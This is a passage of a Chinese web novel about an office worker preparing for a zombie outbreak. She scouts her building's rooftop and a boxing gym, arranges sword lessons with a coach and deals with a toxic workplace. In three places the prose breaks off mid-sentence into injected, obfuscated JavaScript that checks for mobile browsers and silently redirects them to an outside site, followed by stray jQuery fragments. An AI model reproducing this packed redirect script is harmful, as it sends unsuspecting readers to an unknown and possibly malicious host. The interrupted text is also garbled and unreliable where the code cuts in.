岳晴走过去查看，比邻的A栋阳台面积与自己身处的这边相等。两个天台没有可踩上去的通道连接，距离约有五六米的样子。 天台上空空如也，什么可利用的设备都没有。 她虽然能在出事后迅速跑到天台，但凭借苏小圆的财力，囤积足够的食物没问题，弄来一架直升飞机逃命，那是天方夜谭。 岳晴目前对天台没有更多的想法，拿手机拍了几张照片后，离开了天台。 下行电梯里，岳晴看了下时间，差不到要去拳馆上课了。 她现在做的是平时上班的商务梯。商务梯这边，共有四台电梯。不算少，可很多时候上下班，还是要等半天才能挤上去。 上班族乘坐的商务电梯，无法到达第二、第三商业层。她现在要去拳馆，只能回到一层再去坐扶梯。 岳晴和天台一样，她暂时对各条电梯、安全通道无感。 这个园区写字楼招商做得很好，人流极为密集。 她身处22楼，下行路线虽多，却没有一条可以确保是安全的。 人流太密，当丧尸来临，每下一层，都是勇士大挑战，都可能落入丧尸之口。 如果到时她正身处办公室，必须想办法尽快脱离公司。 她对尚义传媒的组织能力没有丝毫信心。没兴趣陪她们等死。 4. 打工人备战丧尸末日04 4到23层办公室出租情况达八成，但1至3层商业层的出租情况，则要惨得多，出租情况仅达三分之一。 岳晴搭扶梯来到三层，右手边有个SPA馆，门口玻璃门贴着19周年店庆的海报，但大门落了锁，看起来已经关张了。她走到左手边的通道，经过几个铺面，只有面包店和拳馆还开着。 她一推开门，昨天给她发传单的小伙子，热情迎了过来，“苏姐，你来了啊。” 岳晴应了声，左右看看，拳馆里挺冷清的。只有一名教练正指导一个四十岁上下的男人练拳。 拳馆眼见空间大概300来平方，只有一个拳台，靠外墙有五个悬吊的沙袋。共有一大一小两个外门，大门开着，小门锁着。小门距离扶梯更近，刚才她先经过小门，再从大门进入的拳馆。 拳馆内部结构还是挺简明的，她正站着的地方，下方画了白线和一些规律排布的圆圈，应该是体能区。 在她的右侧，有两间屋子，看起来像是教练休息室或者办公室。她的左后方还有一个门，门的颜色和这边不一样，推测应该是厕所或储物间。 比起22层的办公室，这个拳馆似乎更适合暂时躲避丧尸。 这里位于三层，不走扶梯出正门口，用逃生缓降器或者其他有缓冲的工具帮忙，可以迅速离开大楼…… “你好——我是卢宵。你体验课的教练。” 岳晴被打断了思路，循声转头，看到有个年轻男人走到眼前，大约一米八左右。他头发汗湿了一半，特别是前额的头发贴在额头上。眼睛很亮，瞳仁是灰蓝色的，像深冬结冰的湖面，应该不是本国人。但脸部轮廓是东亚人的轮廓，鼻梁很高，两颊微微向内凹陷。 “卢教练，你好。”岳晴见他左手握了一把唐刀，手臂很随意地垂落体侧，“我们现在开始吗？” “可以。你先去存包吧。”卢宵指了指旁边的一排储物柜，示意她放包。自己则从旁边的座椅上拿了刀鞘，把刀放回，回来找岳晴上课。 这一节体验课上下来，岳晴认为上得还是挺水的，学到的东西并不多。但想想3节只要199，倒也不是说不过去。 开始先是体能测试，就搞了二十多分钟，累的满头大汗，又是蛙跳又是深蹲的。 岳晴没有提出异议，也想看看苏小圆的极限体能。 结果不出预料，非常差。卢宵每一项都给了不合格。 然后，他带她练习了一下拳击的基本步法，第一节课就上完了。 岳晴把外套穿好，正要离开，见卢宵拿着一个笔和纸夹板向她走来，“不好意思，还得耽误你几分钟，帮我填个课程体验表。” “好的。”岳晴对她甜甜一笑，卢宵看得愣了下。旋即意识到失礼，慌忙错开视线。 他们走到拳馆西北角，那里有两组桌椅，是个简易的洽谈区。 表格很简单，基本就是对教练表现打分，还有对拳馆各项服务指标做出评价。岳晴只需在不同程度的表述后画勾即可。 岳晴填得很慢，每两三个问题，还要问下卢宵问题的意思。卢宵有点内向，回答的认真，只是不再扮演教练的角色，很害羞，脸庞微微泛红。 “卢教练，你是不是还会唐刀？刚才看你拿着一把刀呢，太帅了！”快要填完表格时，岳晴问了这么一句。 这话才是她想问的。为了自然，前面铺垫了那么多，让这个问题像是随口提出的。 “是的，拳击这两年学的。刀我从九岁，到现在练了十五年。我以前做武行的，后来不做了。”卢宵垂下鸦羽般的双睫，眉宇间藏着落寞。 “学了那么多年，怎么不做了？” “受伤了，做不了了。”他下意识看了眼自己的右臂。 “那真是可惜了。”岳晴把表格填好，交给卢宵，“而且你这么帅，你可以做功夫片明星的。” “功夫明星？”卢宵笑着无奈摇摇头，“哪有这么容易，我有四分之一俄国血统，因为形象问题，试镜总被刷下来。有个导演说我入镜太像“洋鬼子”了。我已经不做不切实际的梦了，先养活自己吧。” “那……卢教练想挣外快吗？”岳晴眨了眨眼睛，压低了点声音，“我想学刀。” 从拳馆出来，岳晴心情不错，她一路吹着口哨溜达到地铁站上了车。 她在地铁里打开购物软件，买了一把没开刃的唐刀。 卢宵刚才答应她了，300一节唐刀课。她可以利用午休时间和下班时间上课。算是他的私活儿，所以上课地点不能在拳馆，可以去旁边大楼里的共享练习室上课。 面对丧尸如果有热武器，当然是最好的，可华国囤积枪/支违/法。菜刀、匕首，容易准备，但离丧尸距离未免太近了，容易被其抓、咬。 刚才在拳馆，他看到卢宵手里拿着唐刀，有了主意，希望跟他学习基础的使用方法。简单攀谈后，了解卢宵想要多挣钱，于是试探性去问，果然答应了。 卢宵练过十五年的唐刀，算是意外之喜吧。比起办公室的同事，大难之前，卢宵才是她要搞好关系的人。 五月九日周四天气多云转晴 昨天，上完一节拳馆的课，今早岳晴起来浑身都痛。她从APP上找了节十分钟的拉伸，做完才换衣服出门上班。 甲方公司的展会，将在本周六开展。今天按照进度表，午饭后她将和李霖，前往展馆布展，顺便运送物资过去。 检索苏小圆的记忆里，岳晴知道她刚进这家公司时，就接手过一次相同的工作。当时，运送物资的事落在了苏小圆手上，临行前说的好好的，到最后没有一个帮她。 当时是冬天，她一个人在展馆外的卸货区，看着一面包车的展会物资不知道该如何是好。幸好当时那个司机师傅人不错，苏小圆给了他点钱，两个人合力把物资运到了场馆…… 苏小圆那天还来了月经，吹着风，流着汗，一趟趟运物资，过后就大病了一场。 这样的状况，岳晴绝对不会让它再发生了。 到了公司，行政经理老王再次在全公司巡场，大家窃窃私语，各个小群里开始吐槽。 岳晴屏蔽了群消息，打开订餐APP，定了两杯奶茶。一杯自己喝，一杯给楼下的卢宵。 吴芯今天人来了，不过状态很差，眼睛肿的像个灯泡。快十点的时候，她组织全组人在小会议室开会。 会上，负责展会各项工作的同事，依次说了自己手上的事情。 到了展会现场要循环播放的宣传片这一部分时，因为组里的剪辑师已经请假两天，吴芯直接问李霖进展如何了。 李霖支支吾吾，答不上来，“我联系不上萧春，今早我已经和小圆说了，让她找新的剪辑师赶工。” 得，成功把锅甩过来了。李霖的职场技能，甩锅这项上肯定点满了。 岳晴照实回复：“我联系了我认识的剪辑师，咱们活儿急，预算又少。人家都不愿意接。”说完，岳晴看见吴芯的怒意迅速上脸。 “你们两个怎么办事的！”她端起水杯重重砸在桌上，里面的水洒出来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794018|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半，“下午就去布展了，后天就开展了，宣传片还没解决？！” 全场除吴芯本人以外噤若寒蝉，沉默了半天，岳晴开口道：“吴姐，你别气。我手上有个特别不错的剪辑师，但是咱们现有预算太低，如果能从舞蹈队表演费用上，多抽出两千的预算来，我就把活儿给人家。” 李霖狠狠瞪了岳晴一眼，转向吴芯，“霖姐，舞蹈队的预算减不下去了，她们是上过全国舞台的！合同都签了，第一笔款，财务刚刚已经打过去了。” “那你们说怎么办？”吴芯看了看李霖，又看了看苏小圆，“你们一个是这次的牵头负责人，一个是负责宣传物料的。不能因为剪辑请假，就影响工作。我只看结果，至于怎么解决，你们自己看着办吧。” 李霖转向苏小圆，眼珠子打转，“小圆最近好像办法特别多，你就别操心了，她一定都会解决的。” 他爹的，只提困难，要结果，不给解决方案……吴芯这领导当的。 作为苏小圆的前辈，李霖把持手里的资源，不与后辈共享资源、信息，只把他们当做驱使和甩锅的对象。 其他同事们，大多冷漠，明哲保身…… 怪不得，苏小圆在这里越努力越倒霉，最后怀疑自己怀疑到抑郁，差点自杀。 心里不爽，面上未露出任何不快，岳晴看了一圈在场众人说：“这样吧，我大学专业选修过剪辑，要不我来剪视频。” “你？你行吗？”李霖哼笑了声。 “我大学专业就是编导。我可以保证，如果没有剪辑出和咱公司剪辑师三分之二的水平，或者甲方不满意，后果我承担。”岳晴立完flag又说：“不过既然在公司剪辑视频，我就没时间跟着霖姐去展会现场布展了。” 虽说承认自己能够剪辑是个坑，以后剪辑的工作很可能会抛到苏小圆这里来。但马上就世界末日了，还是先完成眼前的事。 “李霖和张思思去布展。”吴芯这次倒是挺痛快。 坐在角落正走神的张思思，突然被点名，委屈撒娇道：“吴姐，我……不想去，我的工作还没做完，我一个女生，那么多物资，怎么搬东西呢？” 以前吴芯很吃她这一套，但是今天没给她这个面子，“难道苏小圆不是女生吗？你不会问她以前是怎么解决的？这还用我教你？”说完又转向“苏小圆”，“你留在公司剪视频。剪不完今天别下班。剪完发我审核。” 从会议室出来，李霖心情很是不错。 她主动走过来送给苏小圆一包清火茶，“小圆妹妹，千万别上火哦。工作慢慢来就可以了。晚点下班再回家，还能正好错过地铁高峰期。” “让霖姐费心了，你和思思才是辛苦了。”岳晴收了清火茶，温声说道：“这次展会在新修的展馆，挺远的，离公司往返六十多公里吧。没准你们到家比我还晚，你们一定要注意安全。” 李霖被她说的脸又黑了，扭头走了。 李霖走后，岳晴下楼去取早就到的奶茶。 至于剪辑的事，岳晴并不操心。没有金手指，难道还没有点高科技吗？ 来到楼下绿地，她在一张长椅上坐下。 现在上班时间，周围没人，放心召唤出了人工智能客服拉斐尔，把视频剪辑需求简要告诉了拉斐尔。 拉斐尔在圆盘上转了两圈，AI音回复道：“报告岳晴，小小视频，拉斐尔可以轻松拿捏。” 岳晴闭上眼睛，肩膀放松地靠在座椅上，享受着阳光，仿佛感觉得到身体内的血清素正在逐渐升高。 5. 打工人备战丧尸末日05 回到工位，岳晴打开苏小圆和剪辑师萧春的聊天记录，从里面找到了苏小圆写给她的脚本和大纲，以及打包的素材。 她打开看了一眼，不得不惊叹苏小圆对工作的细致程度。 她不仅把每个环节的内容和提供的文件夹的素材序号都对上了。另外还找了好多参照方案。剪辑师只要找到相应的视频模版套就可以，不用费脑子创意。 岳晴再打开苏小圆的电脑硬盘，大致浏览了一下她的工作文档，分门别类的工作文件，归置得很整齐。 打开邮箱，她给甲方和上级的邮件，表达的逻辑，相应的执行方法，配套的资源怎么获取……全部一清二楚。 如果放在岳晴的世界，她可爱死这样的下属了。 有毒的环境固然害人不浅，但苏小圆自己不够自信，缺乏恰当应对人际关系的处理方法，才导致了她不断内耗。 拉斐尔，用五分钟就生成了三版视频。它自行补充了些不涉及版权的素材，组合起来，视频整体显得过于前卫、高端。 过满则溢，岳晴认为没必要。又抛给拉斐尔几个以前这里的定稿视频，拉斐尔修改了自己的视频水平。岳晴从中挑了一版，打算快下班再发给吴芯审核。 时间来到下午三点。岳晴正埋头订购囤货的物资，完成后在自己的手机备忘录里逐个打钩。 她先是闻到一股浓烈的香水味道，然后听见身边响起“啪嗒、啪嗒”的高跟鞋声—— 公司有人在摸鱼打游戏，有人在开着小窗看小说……大家都听到了，手忙脚乱关闭页面。岳晴没慌，很自然的把手机放下，手摸到了键盘上。 来人是尚义传媒的老板刘芝蕊，她每周象征性出现在公司两三次，每次都是下午过来。大家心虚的假装工作起来，但是刘芝蕊根本没看众人，背着她的爱某仕包包，从旁边的通道走过去。 岳晴暂停网络购物，打开聊天软件，看被自己屏蔽的小群里的消息。 同事A:[又来监工了，姚副总一出差，老板准来监工。气哼哼.GIF] 同事B:[唉，你们不觉得老板的脸又变样了吗？] 同事A：[你别说，你还真别说…只要咱马喽们用心工作，老板的脸就能用上最新的技术……] 同事C:[诶？快看，申老大进老板办公室了，他最近越过姚副总，找老板找的频繁了点，他们两该不会……暧昧.JPEG] 同事B：[吃瓜.GIF] …… 苏小圆摇摇头，关闭了聊天框。 她再次打开刚关掉的购物软件，一一确认送货时间。她把小件儿的送货时间，大多安排在了下周一。 周日撤展后，尚义传媒会安排周末加班的人周一调休一天。 她买的东西不少，工作日收货，不会引起大家的注意。 不过保险起见，有一部分吃的用的，但还是选择了立即送货。分散收货，能够降低大批购物在邻居们眼里的存在感。 她已经和室友欧月打过招呼。换门、换冰箱，用的是房东为了让她们续租，给与的福利的理由。至于吃的喝的，她说的是因为失恋，自己心情不好，需要大量购物宣泄……欧月表示理解，委婉劝了她几句，没多说别的。 离下班还有十分钟时，苏小圆把视频发给了吴芯。 吴芯好像又被HR叫走谈话了，一时半会儿出不来，顾不上回复苏小圆。 这时，老板刘芝蕊从办公室走出来，走到他们这组的设计身后。 设计没摸鱼，正听着歌干活，老板突然出现，把她吓了一跳。 刘芝蕊：“上次让你做的那个册子出了吗？” “刘总，我这几天在忙展会的事，您插队的这个活儿，我实在……没时间。”设计师四十多岁了，大家平时面上都很尊敬他，喊他冯老师。 现在老板冷着一张臭脸，当着众人的面追需求，一点都不给老冯面子，老冯脸色着实不好看。 “你是不是不知道谁是老板？”刘芝蕊语气还是很柔和的，可说出口的话难听，“爱干就干，不爱干就滚……” 老冯急眼了，从座位上站起来，刚想回怼…… 突然一声惊天的哭叫声盖过了他们的声音。 吴芯从会议室冲出来，一路哭叫着往开放办公区走。HR康颂茹在后面拉着她的胳膊。然而这会儿，身高更高的康颂茹愣是没拉住暴走的吴芯—— “我给公司干了十年了，公司要这么对我！”吴芯哭的很大声，距离开放式办公间，估计只有一两米位置，大家听得一清二楚，“说裁掉我就裁掉我，我做错什么了我！而且我十年了，你们就打算多给一个月工资就把我打发了？” 字字泣血，声声入耳，办公室一下子炸锅了！ “吴组长，你别冲动，我们回会议室说吧……”康颂茹声音也不小，“你别掐我啊，都是文明人，你还动手啊？” “谁让你拽着我？我就是要让大家看看尚义传媒是怎么对待老员工的？打你怎么了，你算老几……”吴芯哭叫起来。 站在不远处的刘芝蕊，也顾不上和设计掰扯了，重重呼出口气，向二人走过去。这时候申应晖也从办公室出来，跟在老板后面过去了。 办公室议论纷纷，有几个爱吃瓜的甚至走过去听…… 岳晴看了几眼，就收回了视线。她又在工位坐了一会儿，时间到6:00，她站起来穿过围观的人群，准时下班了。 经过门口，她看到前台做的几个尚义传媒四个字的变形花字，轻轻叹了口气。公司起名叫“尚义”，还把义气写到了企业文化里，实在是打脸。 卢宵今天6点以后有课，要上到快8点下课。 岳晴和她约了8点，也不着急，打算在楼下溜达半小时。一方面是勘察一下大楼外部环境，另一方面就算做个简单的有氧锻炼。 这个商务园区，位于城市的三四环之间，更靠近四环。 园区是开放式的，园区外既无实墙，也无任何遮蔽，其内的五座大楼，像漂流在城市洋流中的五座帆船。 现在尚且处于风平浪静的阶段。下班的人流，从五座楼里缓缓流出，有的三三两两边走边聊着天，有的则独自抽着烟走向地铁…… 岳晴站在楼宇之间，环顾四周，想象着不久以后，这里化身炼狱的样子。到时候，在帆船漂流的大海里，会游满鲨鱼和食人鱼……人们只能自求多福。 岳晴围着五座楼走了一大圈，发现最近的停车场在东北位置。距离苏小圆上班的这座大楼，就隔了很窄的一条马路。她的最终目标是离开这个园区，开车前往苏小圆的居住地点避难。 要逃离这里，就得有车。苏小圆没有车，也没有驾照。岳晴打算下周先租一辆车，请人开来停在这个停车场。 岳晴以前会开车，会开直升飞机，还会开航行太空的飞行器。不过，她不确定这个世界的车和自己的技术是否匹配，得想办法提前先试一试。 找车这一关，不是最难的，难的是如何从工位逃到车位。 她现在对大楼的内部地形和外部地形已经熟悉，仍需找到一只关键的笔，把她的求生地图完整绘制出来。 事缓则圆，岳晴告诉自己不着急。她看了眼时间，打算先去吃饭。 她在餐厅吃了一份牛腩饭，又坐了会儿，离八点还有三十分钟时，打包了一份粥，两个玉米面菜团子，打算带去给卢宵。 待到达练习室，等了五分钟，卢宵就过来了。 岳晴看了眼表，刚好是八点。 由此得出结论：卢宵的时间观念很好。 “谢谢你今天定的奶茶。”卢宵性格羞涩，基本不会长时间盯着岳晴的眼睛看，和他本人长得有点风流的混血颜值，不大匹配。 “没什么，有优惠券。我喜欢占便宜，不用就浪费了。”岳晴不想给他太大心理负担，“你吃饭了吗？我刚去吃饭，顺便给你买了一份。那天上课看你时不时捂着胃，我买了粥，不会给肠胃负担。” 卢宵愣了下，腼腆到不知道怎么跟岳晴客气，只能再次道谢，把食物接过来，“这也是因为有优惠券吗？” 岳晴“噗嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794019|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乐了，“不是，是我担心你饿着上课影响授课效果。” “噢……”卢宵似乎有点不高兴，眼眸垂下去，低声说：“你放心吧，我是不会糊弄你的。” 岳晴有点无奈，她只是想逗逗他，怎么就委屈上了呢？这小教练未免不禁逗，挺容易有情绪的。 可能岳晴的实际年龄比卢宵大不少。他在她眼里就是个小孩儿，岳晴差点要伸手摸摸他的头发安慰他，还好及时忍住了。 卢宵所言非虚。事实上，他的唐刀课，确实比拳击课含金量高多了。 虽然按他的话说，只能教岳晴一些花架子，和基础的几个招式。岳晴认为够了，这节课她跟着卢宵练了步法，练了劈、砍、刺、撩几个基本动作。 卢宵对她的评价是动作虚浮，绵软无力，让她回家后把今天学的没事多练练，下次他要验收成果。 两人从练习室出来，进了电梯。 “卢教练，我们公司这周要加班，周一调休一天。咱们可能得约下周二上课。” “行，周二晚上我应该有时间。”卢宵说，“中间隔了四天，时间太久了，怕你忘记。你最晚周一，把你训练的成果，拍一个视频给我。” 岳晴痛快答应道：“好嘞，我订了刀，估计过两天就到了。到时候我拍好视频发你。” “可以。”卢宵郑重道：“你是第一个跟我学刀的学员，你放心，我会好好教你的。” “谢谢教练，耽误你下班时间教我了。等下回去路上，你注意安全。” “我暂时住在拳房。”卢宵说：“之前房子到期了，还在找房子，暂时借宿这里。” “哦……”岳晴眼睛一亮，突然想到了什么，不过目前提出还不是时候，把话吞了回去，“时间不早了，小卢教练再见，我先走了。” “注意安全，再见。” 卢宵站在路口，默默目送岳晴离开，直到她安全过完马路，身影消失在霓虹之中，他才转身走向拳馆所在的大楼。 - 五月的风很舒服。岳晴走在去地铁的路上，并不急着回去，想在外边找找逃生的灵感，就拐进了街边的一家小书店。 本来是想看看末日题材的惊悚小说，结果被一个封面设计的很文艺的诗集，吸引了目光。在她那个世界里，这些文学类的纸质书，只有富有的上层阶级才拥有。 她能拿到手的书，一般都是教材和工具书。 诗集，对她而言，着实是一件奢侈品。 随机翻开一页，页面上仅仅印了几行字： 有时，我听风过耳。 我觉得为了听风过耳， 也值得出世为人。 简单的几句话，岳晴默默读了好几遍，心里少有的泛起几丝涟漪。 活着真好！ 她想要好好活着，也想帮苏小圆好好活着。 岳晴抱着书去款台结账时，手机忽然欢快地跳动起来，是李霖打来的。 岳晴没有接，李霖噼里啪啦的微信就发来了。 不是啥大事，不过是运去展馆的物资里夹带了一箱小礼品。这箱小礼品本来是不应该出现在那里的，李霖质问她到底是怎么收拾物资的？ 看来李霖现在还在展馆内，这是有火没处发了。 除了李霖的消息，他们组的工作群里也有几条消息。 大概是吴芯和公司闹翻了，岳晴看到李霖把申应晖拉了进来。 岳晴没在小框回复，直接在工作群里@李霖：[霖姐，刚刚看到你的信息，我下午一直着急剪展会用的视频。这次物资不是我清点的。] 李霖没有及时回复，五分钟后，倒是申应晖@了展会负责人李霖：[为什么是小圆负责剪视频？剪辑呢？这是你做的安排？？？] 申应晖明明马上要离职了，但现在因为吴芯撒手不管，自己还要给她擦屁股。估计心里也不爽着呢。 岳晴本无意火上浇油。可是谁让李霖先找茬？ 手机扔进外套口袋，不再关注工作群里李霖和申应晖的唇枪舌剑，她抱着书离开了书店。 6. 打工人备战丧尸末日06 五月十日周五天气晴 岳晴昨天回去把所有购买的物资核了一遍，又反复推敲了下到货时间，把未发货的订单又和客服调了下送货时间，至下周二和周三。 还是那个道理，她不想过分引起邻居注意。 周一和周五的地铁一般特别挤，但岳晴注意到今天地铁少了四分之一的人。 她脑子里的警报再次拉响，在好几个不同媒体上搜索了一些诸如“丧尸”“病毒”之类的关键词，可是纷繁芜杂的信息，充斥了视线，根本无从判断真假。 她退出社媒，又打开朋友圈。 看到有两三条类似的信息，有两个人在抱怨一家子都病倒了；还有一个人是转了一条自媒体的文章，标题是《警惕新型病毒，末日真的要来了吗？》。 岳晴点开想要查看，但显示文章违规已被删除。 她到站从地铁下来，避到无人的公共厕所，召唤出了拉斐尔：“拉斐尔，请重新核实丧尸爆发时间。” 拉斐尔收到命令，上半身在圆盘上转了几圈，停了下来，“距离丧尸正式爆发时间还有5-7天。本次准确率为82%。” 上次说还有至少半个月，现在看起来时间又缩短了。 虽然他们的科技远高于这个世界，但是拉斐尔不是先知，也只能根据当前的事态和能够获取的信息进行推算，无法给出一个百分百的结果。 可以肯定的是，距离爆发时间越近，得到的信息就越多越准。 若按照5天计算，灾难爆发时间应该在下周四左右。很有可能，当时她正在22层大厦的工位上。 如此看来，周末这场展会，对她和苏小圆来说，非常重要。这很可能是近期，苏小圆从工作中获得成就感的唯一机会了。 来到工位，岳晴没再摸鱼，开始核对苏小圆这里负责的各项工作。昨天的视频，没有得到吴芯的回应，她直接发给了申应晖确认。 不一会儿，申应晖发来消息，让她去他办公室一趟。 岳晴到了门口，刚好看见李霖从里面走出来。 她大致观察了下李霖的表情，如常，没有受了委屈或者愤怒，反而眼角眉梢透着点高兴。 昨天李霖和申应晖在群里围绕工作交锋了几十条信息。看起来闹得很僵。 而申应晖今早找李霖过去，没有训斥她吗？这算什么，打一巴掌，给个甜枣？ 岳晴掠过李霖对自己不屑的脸，不再多想，进了申应晖的办公室。 “申总，找我有事？”她在申应晖对面的椅子坐下来，“是视频还有什么调整的地方吗？” “视频我大致看了，非常好。不用再调整了，你和李霖最后校对一下内容，就可以用了。”申应晖说，“想不到你不仅文笔好，还能剪出这么有水平的视频。一直是吴芯管你们，我和你交集不多，对你确实不够了解，关心得也少。” “申总贵人事忙，可以理解的。对了，吴姐她……没事吧？” “她和公司有些争议，后续事情人事那边在处理。”申应晖不愿多聊吴芯，给她倒了杯茶，“不过，公司的情况你也看到了。我接下来的工作，也会有变动。我开门见山说吧，我之后会跳槽到驯风科技。对方给我的待遇，是可以带一个自己的下属一起入职。我在考虑带你一起。” “哈，这个机会给我？”岳晴笑了笑，这个笑嘲讽的意味多一些，她本应该表现出受宠若惊的样子，刚没收住。不过笑意落在苏小圆乖巧的脸上呈现出来，可能介于讽刺和乖觉两者之间。 “你最近表现很突出，而且你年纪小，有可塑性。”申应晖身体前倾伏在桌面上，两只手十指交叠在一起，“这事我在犹豫。我还会在公司一个月时间。小圆，这个机会我希望你能把握住，好好表现自己。” 果然如此。 岳晴在心里笑了。 人都要走了，还在这里给她画饼。 圈子就这么大，为了保证行业信誉，申应晖即使要跳槽，也不能和尚义传媒把关系处僵。现在B组组长吴芯不能挑大梁了。 这一个月B组的事，谁帮他撑着呢？最有资历的李霖？可能还不够。 他还想把苏小圆这个“埋头拉车”的敬业牛马拉入局，共同倾力倾为。 岳晴猜申应晖，刚刚应该也和李霖说了相同的话。李霖出去时才那么的得意。 这是他的惯常套路了。公司业绩好的时候，他故意激化手下三个组的矛盾，使用各种明、暗套路“养蛊”，不管下面人死活。 而且他深谙人性，比如吴芯很吃别人的夸，他就总是夸她，才不管她究竟能力如何，反正吴芯下面又不是没人干活了…… “谢谢申总的肯定。”岳晴认为这个天上的饼，她不仅吃不到，连闻个味儿都费劲儿，懒得再装，她抬头直视申应晖目光，“您能另谋高就，我为您高兴。我听说驯风科技base在外省，我还是更喜欢北市。不过您放心，就算吴姐不在，我也会把分内的工作都努力完成。” “不用急着拒绝，你可以再考虑看看。”申应晖说：“你和李霖配合好，明天的展会别出岔子。还有，我要离职的消息，你不要对外说。” “申总放心，我不会乱说的。” “好，去忙吧。” - 下午，李霖带着组里另外两个男同事，提前去展会场馆那里准备了。这次倒是没喊岳晴，岳晴落得个耳根清净。 下午下班前一小时，李霖在工作群里通知明天全员8点必须到场馆。岳晴算了算，那可能要提前2小时出门。今天她得早点休息。 下班后，她顺着大楼出来，在喷泉附近看到有个人坐在花圃旁吃东西。 她走过去，在他身边石阶坐下，“今天没课？” 正啃三明治的卢宵吓了一跳，但很快平静，摇了摇头，“你不是明天有工作？今天没加班？” “明天有个重要工作，在市郊的展馆开展会。今天就早点回去休息。” “我知道那个博览馆，投入使用后上过新闻。离这里三十多公里，那你怎么过去？” “打车吧。”岳晴在心里盘算，太早坐地铁很麻烦，要再早起半小时，不够她睡的。 “我有车，要不我送你？” “你有车？” “怎么？是我看起来太穷了，不配有车？”卢宵有点不开心，“不是什么好车，二手车，买来代步的。” 岳晴刚刚不是惊讶，而是惊喜。心道这是什么宝藏男孩啊。会耍刀，住在大厦三层，而且他还有车！ “哦，你别误会，我不是这个意思。”她望着卢宵说，“我住的离这儿太远了。如果你送我，你还得五六点钟起来去接我，再去展馆，一来一回就太麻烦了。不过真的谢谢你，我很高兴，卢宵。” 卢宵第一次听岳晴跟她说这么长的话，而且他能看出来她不是客气，是真的挺高兴地看着自己。虽然他也不清楚她为什么这么高兴。 就因为他那一句，说要送她去？他刚说的时候，也没想着要真的送，就是客气客气。不过他倒不怕送她麻烦，是认为她应该不会接受。 “嗯……”卢宵不善言辞，倒不知道要回什么好了，最后憋出一句，“那你……记得练刀。” “我记得，会好好练的，小卢教练。” 岳晴说完，蹦蹦跳跳走了。看得卢宵一头雾水，不知道她在莫名其妙开心什么。 五月十一日周六天气阴 岳晴早起给自己和欧月都做了一份早餐。留了便签，告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岳晴转头看向右手边那个花了五六万打造的精致小舞台—— 当时李霖为了出彩，很舍得花钱，现在出了问题，甲方和公司上层也知道是她负责的，估计她这次想甩锅也甩不出去。 岳晴去帮忙甲方人员，把资料装在袋子里，拆箱的时候，突然瞅到角落里堆着的那箱小礼品。小礼品的成本也不高，是某个活动剩下的，运回去还占地，不如利用起来。 她走去跟申应晖请示：“申总，昨天多拿了一箱小礼品。这次展会票卖的不错，我看要不给甲方的销售们分了，让他们发给客户换客户名单吧。” “这个你做主就好。”申应晖对岳晴笑了下，“对了，我看李霖表情不对，是不是舞蹈演员出什么问题了？” “我也不清楚。霖姐工作这么多年了，应该不会出什么岔子吧。” 申应晖点了点头，“那就好。” 快十点的时候，展位开始上人了。岳晴的宣传片放出来，吸引了不少经过的客人。 她看到后就放心了。立的flag没倒，她没有拖苏小圆的后腿。 甲方销售开始忙活起来，岳晴留下来也没什么事情，她打算去各个展位转转。 这次展会是文体主题，主要展出运动机械和装备，另外一个板块是展出关于地方文化的主题，设计有很多关于非遗和地域的体验区。 岳晴找到一个临时饮吧，坐下要了杯咖啡。 她想看看卢宵的朋友圈，于是点开了他的对话框，想从这里跳过去，竟意外发现显示：对方正在输入…… 等了十来秒，都没有收到信息，她就直接点开了朋友圈。 卢宵只有两三条朋友圈，一条是风景照，一条拳馆招生信息，最早一条是展示了他收藏的一把唐刀。 退回到对话框，还是对方正在输入…… 岳晴想，难道是APPbug了吗？ 她直接发过去一条：[今天展会有好多运动装备和露营装备？小卢教练有兴趣吗？我可以拿到免费的电子票哦~] 对方秒回：[我想逛逛。展会到几点？] 7. 打工人备战丧尸末日07 岳晴一顿操作，把电子票给卢宵发过去。 然后她起身继续逛展。 在一个卖舞蹈地胶和把杆的展位，她看到了熟悉的身影。 “好巧啊。”岳晴打了个招呼，看着前男友的前女友漾漾，本来以为此生都没什么见面机会了，不想女孩再次站在了自己面前。 漾漾几乎同一时间看到了岳晴，她这次是带两个开舞蹈班的同学，过来支持下亲戚的舞蹈用品品牌，顺便逛逛展，没想到会遇到岳晴。 打小学舞蹈的女孩气质都很好，身材修长，气质优雅。岳晴看到三个姑娘，能看出她们的成长经历相同，应该都是从小学舞。 “我还以为我们不会再见面了呢。” “我也是。”漾漾也不知道跟岳晴该说点什么，脸上带着几分愧意。 两人走到了一旁说话，“上次我给你打电话太冲动了，有句话没说。我想跟你说声对不起。我明知道人有问题，可我当时却没多想就……” “这些已经不重要了。你也别因为这些内耗了。”岳晴打断她，“我现在有个事拜托你。不过不是让你补偿什么。如果不方便，你可以拒绝我，当然我希望你能答应，这事对我也很重要……” …… 从舞蹈用品展位离开，岳晴看也快中午了，不再继续逛，调转方向回自己公司负责的展位。 快到展位跟前儿，她听到了吵架声。走过去一瞧，是李霖和申应晖。 之前李霖打了包票，现在舞蹈队却来不了了。 李霖正在跟申应晖说自己的困难，还有自己哪哪都不容易。申应晖越听，脸色就越难看。 